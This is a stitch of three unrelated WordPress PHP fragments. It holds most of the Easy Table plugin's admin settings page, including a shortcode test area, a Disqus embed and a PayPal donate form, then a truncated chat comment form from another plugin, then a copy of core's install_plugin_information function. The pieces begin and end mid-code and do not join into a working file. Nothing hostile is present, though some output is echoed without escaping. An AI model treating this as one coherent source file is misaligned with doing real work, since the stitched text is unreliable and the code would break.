tablesorter?', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'description' => __('Check this to use tablesorter jQuery plugin', 'easy-table'), 'attr' => $this->option('tablesorter') ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[th]', 'label' => __('Use TH for the first row?', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'description' => __('Check this if you want to use first row as table head (required by tablesorter)', 'easy-table'), 'attr' => $this->option('th') ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[loadcss]', 'label' => __('Load CSS?', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'description' => __('Check this to use CSS included in this plugin to styling table, you may unceck if you want to write your own style.', 'easy-table'), 'attr' => $this->option('loadcss') ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[class]', 'label' => __('Table class', 'easy-table'), 'type' => 'text', 'description' => __('Additional table class attribute.', 'easy-table'), 'value' => $this->option('class')), array('name' => 'easy_table_plugin_option[width]', 'label' => __('Table width', 'easy-table'), 'type' => 'text', 'description' => __('Table width, in pixel or percent (may be overriden by CSS)', 'easy-table'), 'value' => $this->option('width')), array('name' => 'easy_table_plugin_option[border]', 'label' => __('Table border', 'easy-table'), 'type' => 'text', 'description' => __('Table border (may be overriden by CSS)', 'easy-table'), 'value' => $this->option('border')), array('name' => 'easy_table_plugin_option[align]', 'label' => __('Table align', 'easy-table'), 'type' => 'text', 'description' => __('Table align (left, center, right)', 'easy-table'), 'value' => $this->option('align'))); ?> <h3><?php _e('Table options', 'easy-table'); ?> </h3> <?php echo $this->render_form($fields); ?> <h3><?php _e('Theme selector', 'easy-table'); ?> </h3> <?php $fields = array(array('name' => 'easy_table_plugin_option[theme]', 'label' => __('Default theme', 'easy-table'), 'type' => 'select', 'value' => $this->option('theme'), 'values' => array_combine($this->themes(), $this->themes()), 'description' => __('Select default theme of the table', 'easy-table'))); echo $this->render_form($fields); ?> <h3><?php _e('Data options', 'easy-table'); ?> </h3> <?php $fields = array(array('name' => 'easy_table_plugin_option[limit]', 'label' => __('Row limit', 'easy-table'), 'type' => 'text', 'value' => $this->option('limit'), 'rowclass' => 'new', 'description' => __('Max row to convert to table, default 0 (unlimited)', 'easy-table')), array('name' => 'easy_table_plugin_option[trim]', 'label' => __('Trim cell data?', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'attr' => $this->option('trim') ? 'checked="checked"' : '', 'rowclass' => 'new', 'description' => __('Trim empty character around cell data', 'easy-table'))); echo $this->render_form($fields); ?> <h3><?php _e('Parser options', 'easy-table'); ?> </h3> <p><em><?php _e('Do not change this unless you know what you\'re doing', 'easy-table'); ?> </em> </p> <?php $fields = array(array('name' => 'easy_table_plugin_option[nl]', 'label' => __('New line replacement', 'easy-table'), 'type' => 'text', 'value' => $this->option('nl'), 'description' => __('Since new line is used by parser, you need specify character as a replacement.', 'easy-table')), array('name' => 'easy_table_plugin_option[terminator]', 'label' => __('Row terminator', 'easy-table'), 'type' => 'text', 'value' => $this->option('terminator'), 'rowclass' => 'new', 'description' => __('This caharacter will converted into new row. Default value \\n (this is invisible character when you press Enter). If your new line not converted as new row in the table, try use \\r instead.', 'easy-table')), array('name' => 'easy_table_plugin_option[delimiter]', 'label' => __('Delimiter', 'easy-table'), 'type' => 'text', 'value' => $this->option('delimiter'), 'description' => __('CSV delimiter (default is comma)', 'easy-table')), array('name' => 'easy_table_plugin_option[enclosure]', 'label' => __('Enclosure', 'easy-table'), 'type' => 'text', 'value' => htmlentities($this->option('enclosure')), 'description' => __('CSV enclosure (default is double quote)', 'easy-table')), array('name' => 'easy_table_plugin_option[escape]', 'label' => __('Escape', 'easy-table'), 'type' => 'text', 'value' => $this->option('escape'), 'description' => __('CSV escape (default is backslash)', 'easy-table')), array('name' => 'easy_table_plugin_option[fixlinebreak]', 'label' => __('Fix linebreak', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'description' => __('If terminator is not default (linebreak), you may encounter some issue with linebreak inside cell, try to check or uncheck this to resolve', 'easy-table'), 'attr' => $this->option('fixlinebreak') ? 'checked="checked"' : ''), array('name' => 'easy_table_plugin_option[csvfile]', 'label' => __('Allow read CSV from file?', 'easy-table'), 'type' => 'checkbox', 'value' => 1, 'description' => __('Check this if you also want to convert CSV file to table', 'easy-table'), 'attr' => $this->option('csvfile') ? 'checked="checked"' : '')); echo $this->render_form($fields); ?> <input type="hidden" name="action" value="update" /> <input type="hidden" name="easy_table_option_field" value="easy_table_plugin_option" /> <p><input type="submit" class="button-primary" value="<?php _e('Save', 'easy-table'); ?> " /> </p> </form> </div> <div class="right"> <?php $defaulttableexample = ' [table caption="Just test table" width="500" colwidth="20|100|50" colalign="left|left|center|left|right"] no,head1,head2,head3,head4 1,row1col1,row1col2,row1col3,100 2,row2col1,row2col2,row2col3,20000 3,row3col1,,row3col3,1405 4,row4col1,row4col2,row4col3,23023 [/table] '; $tableexample = $defaulttableexample; if (isset($_POST['test-easy-table'])) { $tableexample = $_POST['easy-table-test-area']; } if (isset($_POST['test-easy-table-reset'])) { $tableexample = $defaulttableexample; } ?> <h3><?php _e('Possible parameter', 'easy-table'); ?> </h3> <p><?php _e('These parameters commonly can override global options in the left side of this page. Example usage:', 'easy-table'); ?> </p> <p> <code>[table param1="param-value1" param2="param-value2"]table data[/table]</code></p> <ol> <li><strong>class</strong>, <?php _e('default value', 'easy-table'); ?> <em>'table-striped'</em>, <?php _e('another value', 'easy-table'); ?> <em>table-bordered, table-striped, table-condensed</em></li> <li><strong>caption</strong>,<?php _e('default value', 'easy-table'); ?> <em>''</em></li> <li><strong>width</strong>, <?php _e('default value', 'easy-table'); ?> <em>'100%'</em></li> <li><strong>align</strong>, <?php _e('default value', 'easy-table'); ?> <em>'left'</em></li> <li><strong>th</strong>, <?php _e('default value', 'easy-table'); ?> <em>'true'</em></li> <li><strong>tf</strong>, <?php _e('default value', 'easy-table'); ?> <em>'false'</em></li> <li><strong>border</strong>, <?php _e('default value', 'easy-table'); ?> <em>'0'</em></li> <li><strong>id</strong>, <?php _e('default value', 'easy-table'); ?> <em>'false'</em></li> <li><strong>tablesorter</strong>, <?php _e('default value', 'easy-table'); ?> <em>'false'</em></li> <li><strong>file</strong>, <?php _e('default value', 'easy-table'); ?> <em>'false'</em></li> <li><strong>sort</strong>, <?php _e('default value', 'easy-table'); ?> <em>''</em></li> <li class="new"><strong>trim</strong>, <?php _e('default value', 'easy-table'); ?> <em>false</em></li> <li class="new"><strong>style</strong>, <?php _e('default value', 'easy-table'); ?> <em>''</em></li> <li class="new"><strong>limit</strong>, <?php _e('default value', 'easy-table'); ?> <em>0</em></li> <li class="new"><strong>terminator</strong>, <?php _e('default value', 'easy-table'); ?> <em>\n</em></li> <li class="new"><strong>colalign</strong>, <?php _e('default value', 'easy-table'); ?> <em>''</em>, see example on the test area</li> <li class="new"><strong>colwidth</strong>, <?php _e('default value', 'easy-table'); ?> <em>''</em>, see example on the test area</li> </ol> <h3><?php printf('Example usage of %s parameter', 'sort', 'easy-table'); ?> </h3> <p><em>sort</em> <?php _e('parameter is for initial sorting order. Value for each column separated by comma. See example below:', 'easy-table'); ?> </p> <ol> <li><?php _e('Set initial order of first column descending and second column ascending:', 'easy-table'); ?> <pre><code>[table sort="desc,asc"] col1,col2,col3 col4,col5,col6 [/table]</code></pre> </li> <li><?php _e('Set initial order of second column descending:', 'easy-table'); ?> <pre><code>[table sort=",desc,asc"] col1,col2,col3 col4,col5,col6 [/table]</code></pre> </li> <li><?php _e('Additionaly, sort option also can be set via sort attr in a cell. See example below', 'easy-table'); ?> </li> </ol> <h3><?php _e('Cell attribute tag', 'easy-table'); ?> </h3> <ol> <li><p><strong>attr</strong>, <?php _e('To set attribute for cell eg. class, colspan, rowspan, etc', 'easy-table'); ?> </p> <p><?php _e('Example', 'easy-table'); ?> : </p> <pre><code>[table] col1,col2[attr style="width:200px" class="someclass"],col3 col4,col5,col6 [/table] </code></pre> </li> <li><p><strong>attr sort</strong>, <?php _e('To set initial sort order, this is intended to TH (first row) only.', 'easy-table'); ?> </p> <p><?php _e('Example: sort second column descending ', 'easy-table'); ?> </p> <pre><code>[table] col1,col2[attr sort="desc"],col3 col4,col5,col6 [/table] </code></pre> <p><?php printf('To disable sort, use "%s". In the example below first column is not sortable', 'false', 'easy-table'); ?> </p> <pre><code>[table] col1[attr sort="false"],col2,col3 col4,col5,col6 [/table] </code></pre> </li> </ol> <h3><?php _e('Test area:', 'easy-table'); ?> </h3> <form action="" method="post"> <textarea name="easy-table-test-area" style="width:500px;height:200px;border:1px solid #ccc"><?php echo trim(htmlentities(stripslashes($tableexample))); ?> </textarea> <input type="hidden" name="test-easy-table" value="1" /> <p><input class="button" type="submit" name="test-easy-table-reset" value="<?php _e('Reset', 'easy-table'); ?> " /> <input class="button-primary" type="submit" value="<?php _e('Update preview', 'easy-table'); ?> »" /></p></form> <div> <h3><?php _e('Preview', 'easy-table'); ?> </h3> <?php echo do_shortcode(stripslashes($tableexample)); ?> </div> </div> <div class="clear"></div> <?php } elseif ($_GET['gettab'] == 'themes') { ?> <h3><?php _e('Easy Table theme editor'); ?> </h3> <div class="row"> <div class="columns nine"> <textarea name="" id="easy-table-theme-editor"><?php echo esc_textarea($this->theme_content()); ?> </textarea> <input type="submit" class="button primary" value="Save"/> </div> <div class="columns three"> <ul> <?php foreach ($this->themes() as $theme) { echo ' <li><a href="#">' . $theme . '</a> <a href="options-general.php?page=easy-table&gettab=themes&edit=' . $theme . '">edit</a> <a href="&edit-theme=1&clone=1#">clone</a> <a href="#">delete</a> <a href="#">preview</a> </li>'; } ?> </ul> <form action=""> New theme: <br/> <input type="text" value="" placeholder="Theme name" name="themename"/> <input type="submit" value="Create"/> </form> </div> </div> <?php } elseif ($_GET['gettab'] == 'support') { ?> <p><?php _e('I have tried to make this plugin can be used as easy as possible and documentation as complete as possible. However it is also possible that you are still confused. Therefore feel free to ask. I would be happy to answer.', 'easy-table'); ?> </p> <p><?php _e('You can use this discussion to get support, request feature or reporting bug.', 'easy-table'); ?> </p> <p><a target="_blank" href="http://takien.com/plugins/easy-table"><?php _e('Before you ask something, make sure you have read documentation here!', 'easy-table'); ?> </a></p> <div id="disqus_thread"></div> <script type="text/javascript"> /* <![CDATA[ */ var disqus_url = 'http://takien.com/1126/easy-table-is-the-easiest-way-to-create-table-in-wordpress.php'; var disqus_identifier = '1126 http://takien.com/?p=1126'; var disqus_container_id = 'disqus_thread'; var disqus_domain = 'disqus.com'; var disqus_shortname = 'takien'; var disqus_title = "Easy Table is The Easiest Way to Create Table in WordPress"; var disqus_config = function () { var config = this; config.callbacks.preData.push(function() { // clear out the container (its filled for SEO/legacy purposes) document.getElementById(disqus_container_id).innerHTML = ''; }); config.callbacks.onReady.push(function() { // sync comments in the background so we don't block the page DISQUS.request.get('?cf_action=sync_comments&post_id=1126'); }); }; var facebookXdReceiverPath = 'http://takien.com/wp-content/plugins/disqus-comment-system/xd_receiver.htm'; /* ]]> */ </script> <script type="text/javascript"> /* <![CDATA[ */ var DsqLocal = { 'trackbacks': [ ], 'trackback_url': "http:\/\/takien.com\/1126\/easy-table-is-the-easiest-way-to-create-table-in-wordpress.php\/trackback" }; /* ]]> */ </script> <script type="text/javascript"> /* <![CDATA[ */ (function() { var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true; dsq.src = 'http' + '://' + disqus_shortname + '.' + disqus_domain + '/embed.js?pname=wordpress&pver=2.72'; (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq); })(); /* ]]> */ </script> <?php } elseif ($_GET['gettab'] == 'about') { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; $api = plugins_api('plugin_information', array('slug' => 'easy-table')); ?> <div> <h2 class="mainheader"><?php echo $this->easy_table_base('name') . ' ' . $this->easy_table_base('version'); ?> </h2> <?php if (!empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { ?> <p class="action-button"> <?php $status = install_plugin_install_status($api); switch ($status['status']) { case 'install': if ($status['url']) { echo '<a href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a class="red" href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') . '</a>'; } break; case 'newer_installed': echo '<a class="green">' . sprintf(__('Newer Version (%s) Installed'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a class="green">' . __('Latest Version Installed') . '</a>'; break; } ?> </p> <?php } ?> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Latest Version:', 'easy-table'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "><?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="http://wordpress.org/extend/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a></li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo $api->homepage; ?> "><?php _e('Plugin Homepage »'); ?> </a></li> <?php } ?> </ul> <?php if (!empty($api->rating)) { ?> <h3><?php _e('Average Rating'); ?> </h3> <div class="star-holder" title="<?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> "> <?php if (version_compare($GLOBALS['wp_version'], 3.4, '<')) { ?> <div class="star star-rating" style="width: <?php echo esc_attr($api->rating); ?> px"></div> <div class="star star5"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('5 stars'); ?> " /></div> <div class="star star4"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('4 stars'); ?> " /></div> <div class="star star3"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('3 stars'); ?> " /></div> <div class="star star2"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('2 stars'); ?> " /></div> <div class="star star1"><img src="<?php echo admin_url('images/star.png?v=20110615'); ?> " alt="<?php esc_attr_e('1 star'); ?> " /></div> <?php } else { ?> <div class="star star-rating" style="width: <?php echo esc_attr(str_replace(',', '.', $api->rating)); ?> px"></div> <?php } ?> </div> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <h3><?php _e('Support my work with donation', 'easy-table'); ?> :</h3> <form action="https://www.paypal.com/cgi-bin/webscr" method="post"> <input type="hidden" name="cmd" value="_s-xclick"> <input type="hidden" name="encrypted" value="-----BEGIN PKCS7-----MIIHdwYJKoZIhvcNAQcEoIIHaDCCB2QCAQExggEwMIIBLAIBADCBlDCBjjELMAkGA1UEBhMCVVMxCzAJBgNVBAgTAkNBMRYwFAYDVQQHEw1Nb3VudGFpbiBWaWV3MRQwEgYDVQQKEwtQYXlQYWwgSW5jLjETMBEGA1UECxQKbGl2ZV9jZXJ0czERMA8GA1UEAxQIbGl2ZV9hcGkxHDAaBgkqhkiG9w0BCQEWDXJlQHBheXBhbC5jb20CAQAwDQYJKoZIhvcNAQEBBQAEgYBiuJYBc1lBF7rbfQavcpZgzT8RvZGjID2Js94j7ju/SRNVtn+UPciq7Bi5fEWsM9WwVx52bndEV+WvBdQe3t2bV3EAXY8I3J2bAWczePAlZEcLy0umSnQGnRPIAZ9mk/JUKRAJmvd43rBkNqjzlhNXTSprXT0n2Vyqmq76WG6hJjELMAkGBSsOAwIaBQAwgfQGCSqGSIb3DQEHATAUBggqhkiG9w0DBwQIC8jF6f82My+AgdAjf0SuFu46mt7lttlZYr5Z5U2CJIFyi51ihjPnZsxpoL0ekeLCAP8tFmo2cQM5ne/qx9oE9lE5Jfnxl+uoK1F2HOlxKl+x+jv7dsuMHUCJpULyq8/UsrJ3FXr8bZNAfKhJwtyswKpEiSyhBndkVj9vbeoH0V1+EoRmsyCcKs2qZKnVQQ/saz86aftIMYJ2r4yMBt10U8SUHC4Eq1JMWvAPNAPLoR6JQSYcF5z1HjhOHtnoFgfSOfP32CojuP9sRBOPUfvS20k9GWMxKEiD0u9RoIIDhzCCA4MwggLsoAMCAQICAQAwDQYJKoZIhvcNAQEFBQAwgY4xCzAJBgNVBAYTAlVTMQswCQYDVQQIEwJDQTEWMBQGA1UEBxMNTW91bnRhaW4gVmlldzEUMBIGA1UEChMLUGF5UGFsIElu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n5hzGCAZowggGWAgEBMIGUMIGOMQswCQYDVQQGEwJVUzELMAkGA1UECBMCQ0ExFjAUBgNVBAcTDU1vdW50YWluIFZpZXcxFDASBgNVBAoTC1BheVBhbCBJbmMuMRMwEQYDVQQLFApsaXZlX2NlcnRzMREwDwYDVQQDFAhsaXZlX2FwaTEcMBoGCSqGSIb3DQEJARYNcmVAcGF5cGFsLmNvbQIBADAJBgUrDgMCGgUAoF0wGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTIwNzAxMDM0ODUwWjAjBgkqhkiG9w0BCQQxFgQU7GSbNXKovs7xPIkMognrn2q5DgwwDQYJKoZIhvcNAQEBBQAEgYB+x+XRIPErAHovudsWOwNV/9LJWlBTkRTfR1zNnO1I4pYrzAJ6MR4I0vsmvZSmvwIfcyNPLxc3ouRK2esTFVfKv/ICHYrTCXSGusyROWOlQRiQJvoQ65IUiW6HvBz81/JjRp5TNgAAbgEY9GlddvdVsjsVbqfroqI2GIvdTNY+6w==-----END PKCS7----- "> <input type="image" src="https://www.paypalobjects.com/en_US/i/btn/btn_donateCC_LG.gif" border="0" name="submit" alt="PayPal - The safer, easier way to pay online!"> <img alt="" border="0" src="https://www.paypalobjects.com/en_US/i/scr/pixel.gif" width="1" height="1"> </form> <p><?php _e('Don\'t have money? No problem, you can rate my plugin instead.', 'easy-table'); ?> <a target="_blank" href="http://wordpress.org/extend/plugins/easy-table/"><?php _e('Click here to rate', 'easy-table'); ?> </a></p> <h3><?php _e('Thanks to', 'easy-table'); ?> :</h3> <ul> <li><a target="_blank" href="<?php echo site_url(); ?> ">You</a></li> <li><a target="_blank" href="http://php.net">PHP</a></li> <li><a target="_blank" href="http://wordpress.org">WordPress</a></li> <li>Tablesorter <?php _e('by', 'easy-table'); ?> <a target="_blank" href="http://tablesorter.com">Christian Bach</a></li> <li>CSS <?php _e('by', 'easy-table'); ?> <a target="_blank" href="http://twitter.github.com/bootstrap">Twitter Bootstrap</a></li> <li>jQuery metadata <?php _e('by', 'easy-table'); ?> <a target="_blank" href="https://github.com/jquery/jquery-metadata/">John Resig</a></li> <li>CuscoSky table styles <?php _e('by', 'easy-table'); ?> <a target="_blank" href="http://www.buayacorp.com">Braulio Soncco</a></li> <li>Tablesorter updated version <?php _e('by', 'easy-table'); ?> <a target="_blank" href="https://github.com/Mottie/tablesorter">Rob Garrison</a></li> </ul> <?php } ?> </div> <?php } ?> </div><!--wrap--> <?php }
?> </iframe> <?php add_filter('comments_open', '__return_true'); $submit_field = '<div class="input-group">'; $submit_field .= '<input type="text" id="comment" name="comment"'; $submit_field .= ' class="form-control" aria-requred="true" required="required"'; $submit_field .= ' placeholder="' . $curr_user->display_name . '…" />'; $submit_field .= '<span class="input-group-btn">%1$s</span> %2$s'; $submit_field .= wp_nonce_field(self::$prefix . '_chat_comment', self::$prefix . '_chat_comment_nonce', true, false); $submit_field .= '</div><!-- .input-group -->'; ob_start(); comment_form(array('comment_field' => '', 'label_submit' => esc_attr__('Send', 'buoy'), 'class_submit' => 'btn btn-success', 'id_submit' => 'submit-btn', 'name_submit' => 'submit-btn', 'submit_button' => '<button type="submit" class="%3$s" id="%2$s" name="%1$s">%4$s</button>', 'submit_field' => $submit_field, 'logged_in_as' => '', 'title_reply' => '', 'title_reply_before' => '', 'cancel_reply_before' => '', 'cancel_reply_link' => ' '), $alert->wp_post->ID); $comment_form = ob_get_contents(); ob_end_clean(); print links_add_target($comment_form, self::$prefix . '_post_comments_chat', array('form')); ?> </div> <?php } } ?> </div> <div id="safety-information-modal" class="modal fade <?php esc_attr_e($auto_show_modal); ?> " role="dialog" aria-labelledby="safety-information-modal-label"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header">
/** * Display plugin information in dialog box form. * * @since 2.7.0 */ function install_plugin_information() { global $tab; if (empty($_REQUEST['plugin'])) { return; } $api = plugins_api('plugin_information', array('slug' => wp_unslash($_REQUEST['plugin']), 'is_ssl' => is_ssl(), 'fields' => array('banners' => true, 'reviews' => true))); if (is_wp_error($api)) { wp_die($api); } $plugins_allowedtags = array('a' => array('href' => array(), 'title' => array(), 'target' => array()), 'abbr' => array('title' => array()), 'acronym' => array('title' => array()), 'code' => array(), 'pre' => array(), 'em' => array(), 'strong' => array(), 'div' => array('class' => array()), 'span' => array('class' => array()), 'p' => array(), 'ul' => array(), 'ol' => array(), 'li' => array(), 'h1' => array(), 'h2' => array(), 'h3' => array(), 'h4' => array(), 'h5' => array(), 'h6' => array(), 'img' => array('src' => array(), 'class' => array(), 'alt' => array())); $plugins_section_titles = array('description' => _x('Description', 'Plugin installer section title'), 'installation' => _x('Installation', 'Plugin installer section title'), 'faq' => _x('FAQ', 'Plugin installer section title'), 'screenshots' => _x('Screenshots', 'Plugin installer section title'), 'changelog' => _x('Changelog', 'Plugin installer section title'), 'reviews' => _x('Reviews', 'Plugin installer section title'), 'other_notes' => _x('Other Notes', 'Plugin installer section title')); // Sanitize HTML foreach ((array) $api->sections as $section_name => $content) { $api->sections[$section_name] = wp_kses($content, $plugins_allowedtags); } foreach (array('version', 'author', 'requires', 'tested', 'homepage', 'downloaded', 'slug') as $key) { if (isset($api->{$key})) { $api->{$key} = wp_kses($api->{$key}, $plugins_allowedtags); } } $_tab = esc_attr($tab); $section = isset($_REQUEST['section']) ? wp_unslash($_REQUEST['section']) : 'description'; // Default to the Description tab, Do not translate, API returns English. if (empty($section) || !isset($api->sections[$section])) { $section_titles = array_keys((array) $api->sections); $section = array_shift($section_titles); } iframe_header(__('Plugin Install')); $_with_banner = ''; if (!empty($api->banners) && (!empty($api->banners['low']) || !empty($api->banners['high']))) { $_with_banner = 'with-banner'; $low = empty($api->banners['low']) ? $api->banners['high'] : $api->banners['low']; $high = empty($api->banners['high']) ? $api->banners['low'] : $api->banners['high']; ?> <style type="text/css"> #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($low); ?> ); } @media only screen and ( -webkit-min-device-pixel-ratio: 1.5 ) { #plugin-information-title.with-banner { background-image: url( <?php echo esc_url($high); ?> ); } } </style> <?php } echo '<div id="plugin-information-scrollable">'; echo "<div id='{$_tab}-title' class='{$_with_banner}'><div class='vignette'></div><h2>{$api->name}</h2></div>"; echo "<div id='{$_tab}-tabs' class='{$_with_banner}'>\n"; foreach ((array) $api->sections as $section_name => $content) { if ('reviews' === $section_name && (empty($api->ratings) || 0 === array_sum((array) $api->ratings))) { continue; } if (isset($plugins_section_titles[$section_name])) { $title = $plugins_section_titles[$section_name]; } else { $title = ucwords(str_replace('_', ' ', $section_name)); } $class = $section_name === $section ? ' class="current"' : ''; $href = add_query_arg(array('tab' => $tab, 'section' => $section_name)); $href = esc_url($href); $san_section = esc_attr($section_name); echo "\t<a name='{$san_section}' href='{$href}' {$class}>{$title}</a>\n"; } echo "</div>\n"; ?> <div id="<?php echo $_tab; ?> -content" class='<?php echo $_with_banner; ?> '> <div class="fyi"> <ul> <?php if (!empty($api->version)) { ?> <li><strong><?php _e('Version:'); ?> </strong> <?php echo $api->version; ?> </li> <?php } if (!empty($api->author)) { ?> <li><strong><?php _e('Author:'); ?> </strong> <?php echo links_add_target($api->author, '_blank'); ?> </li> <?php } if (!empty($api->last_updated)) { ?> <li><strong><?php _e('Last Updated:'); ?> </strong> <span title="<?php echo $api->last_updated; ?> "> <?php printf(__('%s ago'), human_time_diff(strtotime($api->last_updated))); ?> </span></li> <?php } if (!empty($api->requires)) { ?> <li><strong><?php _e('Requires WordPress Version:'); ?> </strong> <?php printf(__('%s or higher'), $api->requires); ?> </li> <?php } if (!empty($api->tested)) { ?> <li><strong><?php _e('Compatible up to:'); ?> </strong> <?php echo $api->tested; ?> </li> <?php } if (!empty($api->downloaded)) { ?> <li><strong><?php _e('Downloaded:'); ?> </strong> <?php printf(_n('%s time', '%s times', $api->downloaded), number_format_i18n($api->downloaded)); ?> </li> <?php } if (!empty($api->slug) && empty($api->external)) { ?> <li><a target="_blank" href="https://wordpress.org/plugins/<?php echo $api->slug; ?> /"><?php _e('WordPress.org Plugin Page »'); ?> </a></li> <?php } if (!empty($api->homepage)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->homepage); ?> "><?php _e('Plugin Homepage »'); ?> </a></li> <?php } if (!empty($api->donate_link) && empty($api->contributors)) { ?> <li><a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a></li> <?php } ?> </ul> <?php if (!empty($api->rating)) { ?> <h3><?php _e('Average Rating'); ?> </h3> <?php wp_star_rating(array('rating' => $api->rating, 'type' => 'percent', 'number' => $api->num_ratings)); ?> <small><?php printf(_n('(based on %s rating)', '(based on %s ratings)', $api->num_ratings), number_format_i18n($api->num_ratings)); ?> </small> <?php } if (!empty($api->ratings) && array_sum((array) $api->ratings) > 0) { foreach ($api->ratings as $key => $ratecount) { // Avoid div-by-zero. $_rating = $api->num_ratings ? $ratecount / $api->num_ratings : 0; ?> <div class="counter-container"> <a href="https://wordpress.org/support/view/plugin-reviews/<?php echo $api->slug; ?> ?filter=<?php echo $key; ?> " target="_blank" title="<?php echo esc_attr(sprintf(_n('Click to see reviews that provided a rating of %d star', 'Click to see reviews that provided a rating of %d stars', $key), $key)); ?> "> <span class="counter-label"><?php printf(_n('%d star', '%d stars', $key), $key); ?> </span> <span class="counter-back"> <span class="counter-bar" style="width: <?php echo 92 * $_rating; ?> px;"></span> </span> </a> <span class="counter-count"><?php echo number_format_i18n($ratecount); ?> </span> </div> <?php } } if (!empty($api->contributors)) { ?> <h3><?php _e('Contributors'); ?> </h3> <ul class="contributors"> <?php foreach ((array) $api->contributors as $contrib_username => $contrib_profile) { if (empty($contrib_username) && empty($contrib_profile)) { continue; } if (empty($contrib_username)) { $contrib_username = preg_replace('/^.+\\/(.+)\\/?$/', '\\1', $contrib_profile); } $contrib_username = sanitize_user($contrib_username); if (empty($contrib_profile)) { echo "<li><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</li>"; } else { echo "<li><a href='{$contrib_profile}' target='_blank'><img src='https://wordpress.org/grav-redirect.php?user={$contrib_username}&s=36' width='18' height='18' />{$contrib_username}</a></li>"; } } ?> </ul> <?php if (!empty($api->donate_link)) { ?> <a target="_blank" href="<?php echo esc_url($api->donate_link); ?> "><?php _e('Donate to this plugin »'); ?> </a> <?php } ?> <?php } ?> </div> <div id="section-holder" class="wrap"> <?php if (!empty($api->tested) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->tested)), $api->tested, '>')) { echo '<div class="error"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been tested</strong> with your current version of WordPress.') . '</p></div>'; } else { if (!empty($api->requires) && version_compare(substr($GLOBALS['wp_version'], 0, strlen($api->requires)), $api->requires, '<')) { echo '<div class="error"><p>' . __('<strong>Warning:</strong> This plugin has <strong>not been marked as compatible</strong> with your version of WordPress.') . '</p></div>'; } } foreach ((array) $api->sections as $section_name => $content) { $content = links_add_base_url($content, 'https://wordpress.org/plugins/' . $api->slug . '/'); $content = links_add_target($content, '_blank'); $san_section = esc_attr($section_name); $display = $section_name === $section ? 'block' : 'none'; echo "\t<div id='section-{$san_section}' class='section' style='display: {$display};'>\n"; echo $content; echo "\t</div>\n"; } echo "</div>\n"; echo "</div>\n"; echo "</div>\n"; // #plugin-information-scrollable echo "<div id='{$tab}-footer'>\n"; if (!empty($api->download_link) && (current_user_can('install_plugins') || current_user_can('update_plugins'))) { $status = install_plugin_install_status($api); switch ($status['status']) { case 'install': if ($status['url']) { echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Now') . '</a>'; } break; case 'update_available': if ($status['url']) { echo '<a class="button button-primary right" href="' . $status['url'] . '" target="_parent">' . __('Install Update Now') . '</a>'; } break; case 'newer_installed': echo '<a class="button button-primary right disabled">' . sprintf(__('Newer Version (%s) Installed'), $status['version']) . '</a>'; break; case 'latest_installed': echo '<a class="button button-primary right disabled">' . __('Latest Version Installed') . '</a>'; break; } } echo "</div>\n"; iframe_footer(); exit; }
